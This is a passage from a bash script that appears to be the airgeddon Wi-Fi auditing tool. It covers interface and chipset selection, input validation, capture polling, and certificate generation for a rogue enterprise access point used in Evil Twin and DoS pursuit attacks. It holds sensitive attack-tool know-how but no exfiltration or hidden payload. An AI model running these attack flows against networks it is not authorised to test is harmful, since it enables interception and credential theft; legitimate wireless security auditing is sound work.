vendor_and_device=$(printf "%s" "${ethtool_output}" | grep "bus-info" | cut -f 3 -d ":" | sed 's/^ //') if [[ -n "${2}" ]] && [[ "${2}" = "read_only" ]]; then requested_chipset=$(lspci | grep "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}") else chipset=$(lspci | grep "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}") fi fi fi fi elif [[ -f /sys/class/net/${1}/device/idVendor ]] && [[ -f /sys/class/net/${1}/device/idProduct ]]; then vendor_and_device=$(cat "/sys/class/net/${1}/device/idVendor"):$(cat "/sys/class/net/${1}/device/idProduct") if hash lsusb 2> /dev/null; then if [[ -n "${2}" ]] && [[ "${2}" = "read_only" ]]; then requested_chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}") else chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}") fi fi fi } #Manage and validate the prerequisites for DoS Pursuit mode integrated on Evil Twin and Enterprise attacks function dos_pursuit_mode_et_handler() { debug_print ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 if [ "${et_dos_attack}" = "Auth DoS" ]; then echo language_strings "${language}" 508 "yellow" language_strings "${language}" 115 "read" fi if select_secondary_interface "dos_pursuit_mode"; then if [[ "${dos_pursuit_mode}" -eq 1 ]] && [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]] && [[ "${interfaces_band_info['secondary_wifi_interface','5Ghz_allowed']}" -eq 0 ]]; then echo language_strings "${language}" 394 "red" language_strings "${language}" 115 "read" if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 else return_to_et_main_menu=1 fi return 1 fi if ! check_monitor_enabled "${secondary_wifi_interface}"; then echo language_strings "${language}" 14 "yellow" echo language_strings "${language}" 513 "blue" language_strings "${language}" 115 "read" echo if ! monitor_option "${secondary_wifi_interface}"; then if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 else return_to_et_main_menu=1 fi return 1 else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 34 "yellow" language_strings "${language}" 115 "read" fi else return 1 fi fi return 0 } #Secondary interface selection menu for Evil Twin, Enterprise attacks DoS pursuit mode and others function select_secondary_interface() { debug_print if [ "${return_to_et_main_menu}" -eq 1 ]; then return 1 fi if [ "${return_to_enterprise_main_menu}" -eq 1 ]; then return 1 fi if [ "${return_to_wpa3_main_menu}" -eq 1 ]; then return 1 fi clear if [ -n "${enterprise_mode}" ]; then current_menu="enterprise_attacks_menu" case ${enterprise_mode} in "smooth") language_strings "${language}" 522 "title" ;; "noisy") language_strings "${language}" 523 "title" ;; esac elif [ "${FUNCNAME[6]}" = "hookable_wpa3_attacks_menu" ]; then current_menu="wpa3_attacks_menu" elif [[ -z "${enterprise_mode}" ]] && [[ -z "${et_mode}" ]]; then current_menu="dos_attacks_menu" elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then current_menu="evil_twin_attacks_menu" case ${et_mode} in "et_onlyap") language_strings "${language}" 270 "title" ;; "et_sniffing") language_strings "${language}" 291 "title" ;; "et_sniffing_sslstrip2") language_strings "${language}" 292 "title" ;; "et_sniffing_sslstrip2_beef") language_strings "${language}" 397 "title" ;; "et_captive_portal") language_strings "${language}" 293 "title" ;; esac fi if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then readarray -t secondary_ifaces < <(iw dev | grep "Interface" | awk '{print $2}' | grep "${interface}" -v) elif [ "${1}" = "internet" ]; then if [ -n "${secondary_wifi_interface}" ]; then readarray -t secondary_ifaces < <(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep -E "^lo$" -v | grep "${interface}" -v | grep "${secondary_wifi_interface}" -v) else readarray -t secondary_ifaces < <(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep -E "^lo$" -v | grep "${interface}" -v) fi fi if [ ${#secondary_ifaces[@]} -eq 1 ]; then if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then secondary_wifi_interface="${secondary_ifaces[0]}" secondary_phy_interface=$(physical_interface_finder "${secondary_wifi_interface}") check_interface_supported_bands "${secondary_phy_interface}" "secondary_wifi_interface" elif [ "${1}" = "internet" ]; then internet_interface="${secondary_ifaces[0]}" fi echo language_strings "${language}" 662 "yellow" language_strings "${language}" 115 "read" return 0 fi option_counter=0 for item in "${secondary_ifaces[@]}"; do if [ "${option_counter}" -eq 0 ]; then if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then echo language_strings "${language}" 511 "green" elif [ "${1}" = "internet" ]; then echo language_strings "${language}" 279 "green" fi print_simple_separator if [ -n "${enterprise_mode}" ]; then language_strings "${language}" 521 elif [ "${FUNCNAME[6]}" = "hookable_wpa3_attacks_menu" ]; then language_strings "${language}" 776 else language_strings "${language}" 266 fi print_simple_separator fi option_counter=$((option_counter + 1)) if [ ${#option_counter} -eq 1 ]; then spaceiface=" " else spaceiface=" " fi set_chipset "${item}" echo -ne "${option_counter}.${spaceiface}${item} " if [ -z "${chipset}" ]; then language_strings "${language}" 245 "blue" else if [ "${is_rtl_language}" -eq 1 ]; then echo -e "${blue_color}// ${normal_color}${chipset} ${yellow_color}:Chipset${normal_color}" else echo -e "${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}" fi fi done if [ "${option_counter}" -eq 0 ]; then if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then return_to_et_main_menu=1 return_to_et_main_menu_from_beef=1 fi echo if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then language_strings "${language}" 510 "red" elif [ "${1}" = "internet" ]; then language_strings "${language}" 280 "red" fi language_strings "${language}" 115 "read" return 1 fi if [ ${option_counter: -1} -eq 9 ]; then spaceiface+=" " fi print_hint read -rp "> " secondary_iface if [ "${secondary_iface}" -eq 0 ] 2> /dev/null; then if [ -n "${enterprise_mode}" ]; then return_to_enterprise_main_menu=1 elif [[ -z "${enterprise_mode}" ]] && [[ -n "${et_mode}" ]]; then return_to_et_main_menu=1 return_to_et_main_menu_from_beef=1 fi return 1 elif [[ ! ${secondary_iface} =~ ^[[:digit:]]+$ ]] || ((secondary_iface < 1 || secondary_iface > option_counter)); then if [ "${1}" = "dos_pursuit_mode" ]; then invalid_secondary_iface_selected "dos_pursuit_mode" elif [ "${1}" = "secondary_interface" ]; then invalid_secondary_iface_selected "secondary_interface" else invalid_secondary_iface_selected "internet" fi else option_counter2=0 for item2 in "${secondary_ifaces[@]}"; do option_counter2=$((option_counter2 + 1)) if [ "${secondary_iface}" = "${option_counter2}" ]; then if [[ "${1}" = "dos_pursuit_mode" ]] || [[ "${1}" = "secondary_interface" ]]; then secondary_wifi_interface=${item2} secondary_phy_interface=$(physical_interface_finder "${secondary_wifi_interface}") check_interface_supported_bands "${secondary_phy_interface}" "secondary_wifi_interface" elif [ "${1}" = "internet" ]; then internet_interface=${item2} fi break fi done return 0 fi } #Interface selection menu function select_interface() { debug_print local interface_menu_band clear language_strings "${language}" 88 "title" current_menu="select_interface_menu" language_strings "${language}" 24 "green" print_simple_separator ifaces=$(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep -E "^lo$" -v) option_counter=0 for item in ${ifaces}; do option_counter=$((option_counter + 1)) if [ ${#option_counter} -eq 1 ]; then spaceiface=" " else spaceiface=" " fi echo -ne "${option_counter}.${spaceiface}${item} " set_chipset "${item}" if [ "${chipset}" = "" ]; then language_strings "${language}" 245 "blue" else interface_menu_band="" if check_interface_wifi "${item}"; then interface_menu_band+="${blue_color}// ${pink_color}" get_5ghz_band_info_from_phy_interface "$(physical_interface_finder "${item}")" case "$?" in "1") interface_menu_band+="${band_24ghz}" ;; *) interface_menu_band+="${band_24ghz}, ${band_5ghz}" ;; esac fi if [ "${is_rtl_language}" -eq 1 ]; then echo -e "${interface_menu_band} ${blue_color}// ${normal_color}${chipset} ${yellow_color}:Chipset${normal_color}" else echo -e "${interface_menu_band} ${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}" fi fi done print_hint read -rp "> " iface if [[ ! ${iface} =~ ^[[:digit:]]+$ ]] || ((iface < 1 || iface > option_counter)); then invalid_iface_selected else option_counter2=0 for item2 in ${ifaces}; do option_counter2=$((option_counter2 + 1)) if [ "${iface}" = "${option_counter2}" ]; then interface=${item2} phy_interface=$(physical_interface_finder "${interface}") interface_mac=$(ip link show "${interface}" | awk '/ether/ {print $2}') if [ -n "${phy_interface}" ]; then check_interface_supported_bands "${phy_interface}" "main_wifi_interface" check_supported_standards "${phy_interface}" if ! check_vif_support; then adapter_vif_support=0 else adapter_vif_support=1 fi check_interface_wifi_longname "${interface}" else adapter_vif_support=0 standard_80211n=0 standard_80211ac=0 standard_80211ax=0 standard_80211be=0 fi break fi done fi } #Read the user input on yes/no questions function read_yesno() { debug_print echo language_strings "${language}" "${1}" "green" read -rp "> " yesno } #Validate the input on yes/no questions function ask_yesno() { debug_print if [ -z "${2}" ]; then local regexp="^[YN]$|^YES$|^NO$" visual_choice="[y/n]" else local regexp="^[YN]$|^YES$|^NO$|^$" default_choice="${2}" if [[ ${default_choice^^} =~ ^[Y]$|^YES$ ]]; then default_choice="y" visual_choice="[Y/n]" else default_choice="n" visual_choice="[y/N]" fi fi yesno="null" while [[ ! ${yesno^^} =~ ${regexp} ]]; do read_yesno "${1}" done case ${yesno^^} in "Y"|"YES") yesno="y" ;; "N"|"NO") yesno="n" ;; "") yesno="${default_choice}" ;; esac } #Read the user input on channel questions function read_channel() { debug_print echo if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then language_strings "${language}" 25 "green" else language_strings "${language}" 517 "green" fi if [ "${1}" = "wps" ]; then read -rp "> " wps_channel else read -rp "> " channel fi } #Validate the input on channel questions function ask_channel() { debug_print local regexp if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then regexp="^${valid_channels_24_ghz_regexp}$" else regexp="^${valid_channels_24_and_5_ghz_regexp}$" fi if [ "${1}" = "wps" ]; then if [[ -n "${wps_channel}" ]] && [[ "${wps_channel}" -gt 14 ]]; then if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then echo language_strings "${language}" 515 "red" language_strings "${language}" 115 "read" return 1 fi fi while [[ ! ${wps_channel} =~ ${regexp} ]]; do read_channel "wps" done echo language_strings "${language}" 365 "blue" else if [[ -n "${channel}" ]] && [[ "${channel}" -gt 14 ]]; then if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then echo language_strings "${language}" 515 "red" language_strings "${language}" 115 "read" return 1 fi fi while [[ ! ${channel} =~ ${regexp} ]]; do read_channel done echo language_strings "${language}" 26 "blue" fi return 0 } #Read the user input on asleap challenge function read_challenge() { debug_print echo language_strings "${language}" 553 "green" read -rp "> " enterprise_asleap_challenge } #Read the user input on asleap response function read_response() { debug_print echo language_strings "${language}" 554 "green" read -rp "> " enterprise_asleap_response } #Read the user input on bssid questions function read_bssid() { debug_print echo language_strings "${language}" 27 "green" if [ "${1}" = "wps" ]; then read -rp "> " wps_bssid else read -rp "> " bssid fi } #Validate the input on bssid questions function ask_bssid() { debug_print local regexp="^([[:xdigit:]]{2}:){5}[[:xdigit:]]{2}$" if [ "${1}" = "wps" ]; then if [ -z "${wps_bssid}" ]; then ask_yesno 439 "no" if [ "${yesno}" = "n" ]; then return 1 else enterprise_network_selected=0 personal_network_selected=1 set_personal_enterprise_text fi fi while true; do while [[ ! ${wps_bssid} =~ ${regexp} ]]; do read_bssid "wps" done local first_byte_hex="${wps_bssid%%:*}" local first_byte=$((16#$first_byte_hex)) if (( first_byte & 1 )); then echo language_strings "${language}" 773 "red" read_bssid "wps" continue fi break done echo language_strings "${language}" 364 "blue" else if [ -z "${bssid}" ]; then ask_yesno 439 "no" if [ "${yesno}" = "n" ]; then return 1 else if [ -n "${enterprise_mode}" ]; then enterprise_network_selected=1 personal_network_selected=0 else enterprise_network_selected=0 personal_network_selected=1 fi set_personal_enterprise_text fi fi while true; do while [[ ! ${bssid} =~ ${regexp} ]]; do read_bssid done local first_byte_hex="${bssid%%:*}" local first_byte=$((16#$first_byte_hex)) if (( first_byte & 1 )); then echo language_strings "${language}" 773 "red" read_bssid continue fi break done echo language_strings "${language}" 28 "blue" fi return 0 } #Read the user input on essid questions function read_essid() { debug_print echo language_strings "${language}" 29 "green" read -rp "> " essid } #Check if selected essid is hidden and offer a change function check_hidden_essid() { debug_print if [ "${1}" = "wps" ]; then if [[ -z "${wps_essid}" ]] || [[ "${wps_essid}" = "(Hidden Network)" ]]; then ask_yesno 30 "no" if [ "${yesno}" = "y" ]; then while [[ -z "${wps_essid}" ]] || [[ "${wps_essid}" = "(Hidden Network)" ]]; do read_essid done echo language_strings "${language}" 718 "blue" fi fi else if [[ -z "${essid}" ]] || [[ "${essid}" = "(Hidden Network)" ]]; then if [ "${2}" = "verify" ]; then ask_yesno 30 "no" if [ "${yesno}" = "y" ]; then while [[ -z "${essid}" ]] || [[ "${essid}" = "(Hidden Network)" ]]; do read_essid done else return 1 fi else while [[ -z "${essid}" ]] || [[ "${essid}" = "(Hidden Network)" ]]; do read_essid done fi echo language_strings "${language}" 31 "blue" fi fi } #Validate the input on essid questions function ask_essid() { debug_print if [ "${1}" = "verify" ]; then if ! check_hidden_essid "normal" "verify"; then return 1 fi else if ! check_hidden_essid "normal" "noverify"; then return 1 fi fi } #Read the user input on custom pin questions function read_custom_pin() { debug_print echo language_strings "${language}" 363 "green" read -rp "> " custom_pin } #Validate the input on custom pin questions function ask_custom_pin() { debug_print local regexp="^[0-9]{8}$" custom_pin="" while [[ ! ${custom_pin} =~ ${regexp} ]]; do read_custom_pin done echo language_strings "${language}" 362 "blue" } #Read the user input on timeout questions function read_timeout() { debug_print echo case ${1} in "wps_standard") min_max_timeout="10-100" timeout_shown="${timeout_secs_per_pin}" ;; "wps_pixiedust") min_max_timeout="25-2400" timeout_shown="${timeout_secs_per_pixiedust}" ;; "capture_handshake_decloak") min_max_timeout="10-100" timeout_shown="${timeout_capture_handshake_decloak}" ;; "capture_pmkid") min_max_timeout="10-100" timeout_shown="${timeout_capture_pmkid}" ;; "capture_identities") min_max_timeout="10-100" timeout_shown="${timeout_capture_identities}" ;; "certificates_analysis") min_max_timeout="10-100" timeout_shown="${timeout_certificates_analysis}" ;; "wpa3_downgrade") min_max_timeout="10-100" timeout_shown="${timeout_wpa3_downgrade}" ;; esac language_strings "${language}" 393 "green" read -rp "> " timeout } #Validate the user input for timeouts function ask_timeout() { debug_print case ${1} in "wps_standard") local regexp="^[1-9][0-9]$|^100$|^$" ;; "wps_pixiedust") local regexp="^2[5-9]$|^[3-9][0-9]$|^[1-9][0-9]{2}$|^1[0-9]{3}$|^2[0-3][0-9]{2}$|^2400$|^$" ;; "capture_handshake_decloak") local regexp="^[1-9][0-9]$|^100$|^$" ;; "capture_pmkid") local regexp="^[1-9][0-9]$|^100$|^$" ;; "capture_identities") local regexp="^[1-9][0-9]$|^100$|^$" ;; "certificates_analysis") local regexp="^[1-9][0-9]$|^100$|^$" ;; "wpa3_downgrade") local regexp="^[1-9][0-9]$|^100$|^$" ;; esac timeout=0 while [[ ! ${timeout} =~ ${regexp} ]]; do read_timeout "${1}" done if [ "${timeout}" = "" ]; then case ${1} in "wps_standard") timeout="${timeout_secs_per_pin}" ;; "wps_pixiedust") timeout="${timeout_secs_per_pixiedust}" ;; "capture_handshake_decloak") timeout="${timeout_capture_handshake_decloak}" ;; "capture_pmkid") timeout="${timeout_capture_pmkid}" ;; "capture_identities") timeout="${timeout_capture_identities}" ;; "certificates_analysis") timeout="${timeout_certificates_analysis}" ;; "wpa3_downgrade") timeout="${timeout_wpa3_downgrade}" ;; esac fi echo case ${1} in "wps_standard") timeout_secs_per_pin="${timeout}" ;; "wps_pixiedust") timeout_secs_per_pixiedust="${timeout}" ;; "capture_handshake_decloak") timeout_capture_handshake_decloak="${timeout}" ;; "capture_pmkid") timeout_capture_pmkid="${timeout}" ;; "capture_identities") timeout_capture_identities="${timeout}" ;; "certificates_analysis") timeout_certificates_analysis="${timeout}" ;; "wpa3_downgrade") timeout_wpa3_downgrade="${timeout}" ;; esac language_strings "${language}" 391 "blue" } #Handle the proccess of checking enterprise certificates capture function enterprise_certificates_check() { debug_print local time_counter=0 while true; do sleep 5 check_certificates_in_capture_file time_counter=$((time_counter + 5)) if [ "${time_counter}" -ge "${timeout_certificates_analysis}" ]; then break fi done kill "${processidenterpriseidentitiescertificatescapture}" &> /dev/null if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then tmux kill-window -t "${session_name}:Certificates Analysis" fi } #Handle the proccess of checking enterprise identities capture function enterprise_identities_check() { debug_print local time_counter=0 while true; do sleep 5 check_identities_in_capture_file time_counter=$((time_counter + 5)) if [ "${time_counter}" -ge "${timeout_capture_identities}" ]; then break fi done kill "${processidenterpriseidentitiescertificatescapture}" &> /dev/null if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then tmux kill-window -t "${session_name}:Capturing Identities" fi } #Handle the proccess of checking decloak capture function decloak_check() { debug_print local time_counter=0 while true; do sleep 5 if check_essid_in_capture_file; then break fi time_counter=$((time_counter + 5)) if [ "${time_counter}" -ge "${timeout_capture_handshake_decloak}" ]; then break fi done kill "${processiddecloak}" &> /dev/null if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then tmux kill-window -t "${session_name}:Decloaking" fi } #Handle the proccess of checking handshake capture function handshake_capture_check() { debug_print local time_counter=0 while true; do sleep 5 if check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "silent" "only_handshake"; then break fi time_counter=$((time_counter + 5)) if [ "${time_counter}" -ge "${timeout_capture_handshake_decloak}" ]; then break fi done kill "${processidcapture}" &> /dev/null if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then tmux kill-window -t "${session_name}:Capturing Handshake" fi } #Generate the needed config files for certificates creation #shellcheck disable=SC2016 function create_certificates_config_files() { debug_print rm -rf "${tmpdir}${certsdir}" > /dev/null 2>&1 mkdir "${tmpdir}${certsdir}" > /dev/null 2>&1 { echo -e "[ ca ]" echo -e "default_ca = CA_default\n" echo -e "[ CA_default ]" echo -e "dir = ${tmpdir}${certsdir::-1}" echo -e 'certs = $dir' echo -e 'crl_dir = $dir/crl' echo -e 'database = $dir/index.txt' echo -e 'new_certs_dir = $dir' echo -e 'certificate = $dir/server.pem' echo -e 'serial = $dir/serial' echo -e 'crl = $dir/crl.pem' echo -e 'private_key = $dir/server.key' echo -e 'RANDFILE = $dir/.rand' echo -e "name_opt = ca_default" echo -e "cert_opt = ca_default" echo -e "default_days = 3650" echo -e "default_crl_days = 30" echo -e "default_md = sha256" echo -e "preserve = no" echo -e "policy = policy_match\n" echo -e "[ policy_match ]" echo -e "countryName = match" echo -e "stateOrProvinceName = match" echo -e "organizationName = match" echo -e "organizationalUnitName = optional" echo -e "commonName = supplied" echo -e "emailAddress = optional\n" echo -e "[ policy_anything ]" echo -e "countryName = optional" echo -e "stateOrProvinceName = optional" echo -e "localityName = optional" echo -e "organizationName = optional" echo -e "organizationalUnitName = optional" echo -e "commonName = supplied" echo -e "emailAddress = optional\n" echo -e "[ req ]" echo -e "prompt = no" echo -e "distinguished_name = server" echo -e "default_bits = 2048" echo -e "input_password = ${certspass}" echo -e "output_password = ${certspass}\n" echo -e "[server]" echo -e "countryName = ${custom_certificates_country}" echo -e "stateOrProvinceName = ${custom_certificates_state}" echo -e "localityName = ${custom_certificates_locale}" echo -e "organizationName = ${custom_certificates_organization}" echo -e "emailAddress = ${custom_certificates_email}" echo -e "commonName = \"${custom_certificates_cn}\"" } >> "${tmpdir}${certsdir}server.cnf" { echo -e "[ ca ]" echo -e "default_ca = CA_default\n" echo -e "[ CA_default ]" echo -e "dir = ${tmpdir}${certsdir::-1}" echo -e 'certs = $dir' echo -e 'crl_dir = $dir/crl' echo -e 'database = $dir/index.txt' echo -e 'new_certs_dir = $dir' echo -e 'certificate = $dir/ca.pem' echo -e 'serial = $dir/serial' echo -e 'crl = $dir/crl.pem' echo -e 'private_key = $dir/ca.key' echo -e 'RANDFILE = $dir/.rand' echo -e "name_opt = ca_default" echo -e "cert_opt = ca_default" echo -e "default_days = 3650" echo -e "default_crl_days = 30" echo -e "default_md = sha256" echo -e "preserve = no" echo -e "policy = policy_match\n" echo -e "[ policy_match ]" echo -e "countryName = match" echo -e "stateOrProvinceName = match" echo -e "organizationName= match" echo -e "organizationalUnitName = optional" echo -e "commonName = supplied" echo -e "emailAddress = optional\n" echo -e "[ policy_anything ]" echo -e "countryName = optional" echo -e "stateOrProvinceName = optional" echo -e "localityName = optional" echo -e "organizationName = optional" echo -e "organizationalUnitName = optional" echo -e "commonName = supplied" echo -e "emailAddress = optional\n" echo -e "[ req ]" echo -e "prompt = no" echo -e "distinguished_name = certificate_authority" echo -e "default_bits = 2048" echo -e "input_password = ${certspass}" echo -e "output_password = ${certspass}" echo -e "x509_extensions = v3_ca\n" echo -e "[certificate_authority]" echo -e "countryName = ${custom_certificates_country}" echo -e "stateOrProvinceName = ${custom_certificates_state}" echo -e "localityName = ${custom_certificates_locale}" echo -e "organizationName = ${custom_certificates_organization}" echo -e "emailAddress = ${custom_certificates_email}" echo -e "commonName = \"${custom_certificates_cn}\"\n" echo -e "[v3_ca]" echo -e "subjectKeyIdentifier = hash" echo -e "authorityKeyIdentifier = keyid:always,issuer:always" echo -e "basicConstraints = critical,CA:true" } >> "${tmpdir}${certsdir}ca.cnf" { echo -e "[ xpclient_ext ]" echo -e "extendedKeyUsage = 1.3.6.1.5.5.7.3.2\n" echo -e "[ xpserver_ext ]" echo -e "extendedKeyUsage = 1.3.6.1.5.5.7.3.1" } >> "${tmpdir}${certsdir}xpextensions" } #Manage the questions to decide if custom certificates are used #shellcheck disable=SC2181 function custom_certificates_integration() { debug_print ask_yesno 645 "no" if [ "${yesno}" = "y" ]; then if [ -n "${enterprisecerts_completepath}" ]; then ask_yesno 646 "yes" if [ "${yesno}" = "y" ]; then read_certspath=0 else read_certspath=1 fi else read_certspath=1 fi use_custom_certs=1 else use_custom_certs=0 fi echo if [ "${use_custom_certs}" -eq 1 ]; then if [ "${read_certspath}" -eq 0 ]; then hostapd_wpe_cert_path="${enterprisecerts_completepath}" hostapd_wpe_cert_pass="${certspass}" language_strings "${language}" 648 "yellow" else language_strings "${language}" 327 "green" echo -en '> ' hostapd_wpe_cert_path=$(read -re _hostapd_wpe_cert_path; echo -n "${_hostapd_wpe_cert_path}") hostapd_wpe_cert_path=$(fix_autocomplete_chars "${hostapd_wpe_cert_path}") lastcharhostapd_wpe_cert_path=${hostapd_wpe_cert_path: -1} if [ "${lastcharhostapd_wpe_cert_path}" != "/" ]; then hostapd_wpe_cert_path="${hostapd_wpe_cert_path}/" fi firstcharhostapd_wpe_cert_path=${hostapd_wpe_cert_path:: 1} if [ "${firstcharhostapd_wpe_cert_path}" != "/" ]; then hostapd_wpe_cert_path="${scriptfolder}${hostapd_wpe_cert_path}" fi hostapd_wpe_cert_pass="" while [[ ! ${hostapd_wpe_cert_pass} =~ ^.{4,1023}$ ]]; do echo language_strings "${language}" 329 "green" read -rp "> " hostapd_wpe_cert_pass done fi else hostapd_wpe_cert_path="${default_certs_path}" hostapd_wpe_cert_pass="${default_certs_pass}" language_strings "${language}" 647 "yellow" fi echo language_strings "${language}" 649 "blue" echo local certsresult certsresult=$(validate_certificates "${hostapd_wpe_cert_path}" "${hostapd_wpe_cert_pass}") if [ "${certsresult}" = "0" ]; then language_strings "${language}" 650 "yellow" language_strings "${language}" 115 "read" return 0 elif [ "${certsresult}" = "1" ]; then language_strings "${language}" 237 "red" language_strings "${language}" 115 "read" return 1 elif [ "${certsresult}" = "2" ]; then language_strings "${language}" 326 "red" language_strings "${language}" 115 "read" return 1 else language_strings "${language}" 330 "red" language_strings "${language}" 115 "read" return 1 fi } #Validate if certificates files are correct function validate_certificates() { debug_print local certsresult certsresult=0 if ! [ -f "${1}server.pem" ] || ! [ -r "${1}server.pem" ] || ! [ -f "${1}ca.pem" ] || ! [ -r "${1}ca.pem" ] || ! [ -f "${1}server.key" ] || ! [ -r "${1}server.key" ]; then certsresult=1 else if ! openssl x509 -in "${1}server.pem" -inform "PEM" -checkend "0" > /dev/null 2>&1 || ! openssl x509 -in "${1}ca.pem" -inform "PEM" -checkend "0" > /dev/null 2>&1; then certsresult=2 elif ! openssl rsa -in "${1}server.key" -passin "pass:${2}" -check > /dev/null 2>&1; then certsresult=3 fi fi echo "${certsresult}" } #Create custom certificates function create_custom_certificates() { debug_print echo language_strings "${language}" 642 "blue" openssl dhparam -out "${tmpdir}${certsdir}dh" 1024 > /dev/null 2>&1 openssl req -new -out "${tmpdir}${certsdir}server.csr" -keyout "${tmpdir}${certsdir}server.key" -config "${tmpdir}${certsdir}server.cnf" > /dev/null 2>&1 openssl req -new -x509 -keyout "${tmpdir}${certsdir}ca.key" -out "${tmpdir}${certsdir}ca.pem" -days 3650 -config "${tmpdir}${certsdir}ca.cnf" > /dev/null 2>&1 touch "${tmpdir}${certsdir}index.txt" > /dev/null 2>&1 echo '01' > "${tmpdir}${certsdir}serial" 2> /dev/null openssl ca -batch -keyfile "${tmpdir}${certsdir}ca.key" -cert "${tmpdir}${certsdir}ca.pem" -in "${tmpdir}${certsdir}server.csr" -key "${certspass}" -out "${tmpdir}${certsdir}server.crt" -extensions xpserver_ext -extfile "${tmpdir}${certsdir}xpextensions" -config "${tmpdir}${certsdir}server.cnf" > /dev/null 2>&1 openssl pkcs12 -export -in "${tmpdir}${certsdir}server.crt" -inkey "${tmpdir}${certsdir}server.key" -out "${tmpdir}${certsdir}server.p12" -passin pass:${certspass} -passout pass:${certspass} > /dev/null 2>&1 openssl pkcs12 -in "${tmpdir}${certsdir}server.p12" -out "${tmpdir}${certsdir}server.pem" -passin pass:${certspass} -passout pass:${certspass} > /dev/null 2>&1 manage_enterprise_certs save_enterprise_certs } #Set up custom certificates function custom_certificates_questions() { debug_print custom_certificates_country="" custom_certificates_state="" custom_certificates_locale="" custom_certificates_organization="" custom_certificates_email="" custom_certificates_cn="" local email_length_regex local email_special_chars_regex local email_domain_regex local regexp regexp="^[A-Za-z]{2}$" while [[ ! ${custom_certificates_country} =~ ${regexp} ]]; do read_certificates_data "country" done while [[ -z "${custom_certificates_state}" ]]; do read_certificates_data "state" done while [[ -z "${custom_certificates_locale}" ]]; do read_certificates_data "locale" done while [[ -z "${custom_certificates_organization}" ]]; do read_certificates_data "organization" done email_length_regex='.*{7,320}' email_special_chars_regex='\!\#\$\%\&\*\+\/\=\?\^\_\`\{\|\}\~\-' email_domain_regex='([[:alpha:]]([[:alnum:]\-]*[[:alnum:]])?)\.([[:alpha:]]([[:alnum:]\-]*[[:alnum:]])?\.)*[[:alpha:]]([[:alnum:]\-]*[[:alnum:]])?' regexp="^[[:alnum:]${email_special_chars_regex}]+(\.[[:alnum:]${email_special_chars_regex}]+)*[[:alnum:]${email_special_chars_regex}]*\@${email_domain_regex}$" while [[ ! ${custom_certificates_email} =~ ${regexp} ]] || [[ ! ${custom_certificates_email} =~ ${email_length_regex} ]]; do read_certificates_data "email" done regexp="^(\*|[[:alpha:]]([[:alnum:]\-]{0,61}[[:alnum:]])?)\.([[:alpha:]]([[:alnum:]\-]{0,61}[[:alnum:]])?\.)*[[:alpha:]]([[:alnum:]\-]{0,61}[[:alnum:]])?$" while [[ ! ${custom_certificates_cn} =~ ${regexp} ]]; do read_certificates_data "cn" done } #Read the user input on custom certificates questions function read_certificates_data() { debug_print echo case "${1}" in "country") language_strings "${language}" 630 "green" read -rp "> " custom_certificates_country custom_certificates_country="${custom_certificates_country^^}" ;; "state") language_strings "${language}" 631 "green" read -rp "> " custom_certificates_state ;; "locale") language_strings "${language}" 632 "green" read -rp "> " custom_certificates_locale ;; "organization") language_strings "${language}" 633 "green" read -rp "> " custom_certificates_organization ;; "email") language_strings "${language}" 634 "green" read -rp "> " custom_certificates_email custom_certificates_email="${custom_certificates_email,,}" ;; "cn") language_strings "${language}" 635 "green" read -rp "> " custom_certificates_cn custom_certificates_cn="${custom_certificates_cn,,}" ;; esac } #Prepare enterprise identities capture and certificates analysis function enterprise_identities_and_certitifcates_analysis() { debug_print if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then echo language_strings "${language}" 125 "yellow" language_strings "${language}" 115 "read" if ! explore_for_targets_option "WPA" "enterprise"; then return 1 fi fi if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return 1 fi if [ "${channel}" -gt 14 ]; then if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then echo language_strings "${language}" 515 "red" language_strings "${language}" 115 "read" return 1 fi fi if ! validate_network_encryption_type "WPA"; then return 1 fi if ! validate_network_type "enterprise"; then return 1 fi dos_info_gathering_enterprise_menu "${1}" } #Validate if selected network is the needed type (enterprise or personal) function validate_network_type() { debug_print case ${1} in "personal") if [ "${personal_network_selected}" -eq 0 ]; then echo language_strings "${language}" 747 "red" language_strings "${language}" 115 "read" return 1 fi ;; "enterprise") if [ 